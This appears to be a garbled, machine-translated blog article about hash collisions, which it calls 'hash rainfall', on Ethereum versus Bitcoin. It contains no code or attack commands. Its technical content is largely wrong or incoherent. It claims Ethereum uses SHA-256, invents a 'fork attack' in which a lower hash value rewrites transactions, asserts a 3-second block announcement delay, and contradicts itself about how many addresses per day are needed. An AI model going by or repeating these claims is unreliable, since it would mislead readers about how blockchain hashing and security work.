It’s not such a large address area: Why the Hash Ethereum rainfall is rare
In the world of cryptocurrencies, one of the most important fears of the potential of hash rainfall is one of the most important concerns. The collision has occurred when two different data (or “blocks”) have the same hash value, causing a chain reaction that can lead to unpredictable and potentially catastrophic consequences.
Ethereum was specifically criticized for its relatively small address space compared to bitcoins. Although it is true that 2^256 possible unique Bitcoin addresses may appear to be an insurmountable task, Ethereum’s goal is to mitigate this risk by introducing multiple layers of security measures.
So what is the concern? Why would we ever need an average of 10,000 new addresses per day?
Risk of collision hash
To put it simply, if two different parts of data have the same hash value, they can be used as an “fork” attack. This happens when the attacker attempts to replace one block for another (or vice versa) and causes the blockchain to differ from its original condition. In other words, one error can lead to chaos in the network.
To understand why this is a problem, let’s look at the hash feature used by Ethereum: SHA-256. This function takes the input data (eg a transaction block) and creates a fixed -size chain that is virtually unique for each input.
Theoretically, if two different data data has the same Hash value, they can be used as follows:
- The attacker tries to replace one block for another.
- If the replacement block has a lower hash value than the original block, it will rewrite the part or all transactions of the original block.
- When blockchain differs from its original condition, new blocks with increasing amount of data (eg gas, computational force) are generated.
- The attacker can use this chain reaction to make multiple copies of the same transaction, effectively creating an “fork” attack.
Why 10,000 new addresses per day may not be enough
While the Bitcoin directory space may seem large enough to alleviate the hash collisions, Ethereum’s goal is to provide another layer of safety. By introducing several layers of hash and verification processes, Ethereum focuses on preventing even the most suitable attacker cause a chain reaction.
In addition, Ethereum’s 3-second delay between the creation of blocks and announcement ensures that any potential problems are solved before the attacker can use them. This added layer of complexity makes it difficult for hackers to trigger successful network attacks.
Verdict
While Hash rainfall may appear to be a minor problem compared to bitcoins, Ethereum design is specially adapted to prevent these types of attacks. By introducing multiple safety and delays between the creation and notification of blocks, Ethereum focuses on providing an even safer environment for both users and developers.
Finally, while the address space of Ethereum is relatively small, its proposal involves several measures to alleviate the hash precipitation. This means that theoretically, we would only need a few new addresses per day to prevent successful network attacks.
However, it is necessary to note that it is only theoretical: there is never a single or chain reaction on the blockchaine ethereum. The benefits of this design in the real world are not in prevention of hash collision, but in creating a safer and decentralized ecosystem for users, developers and exchange.
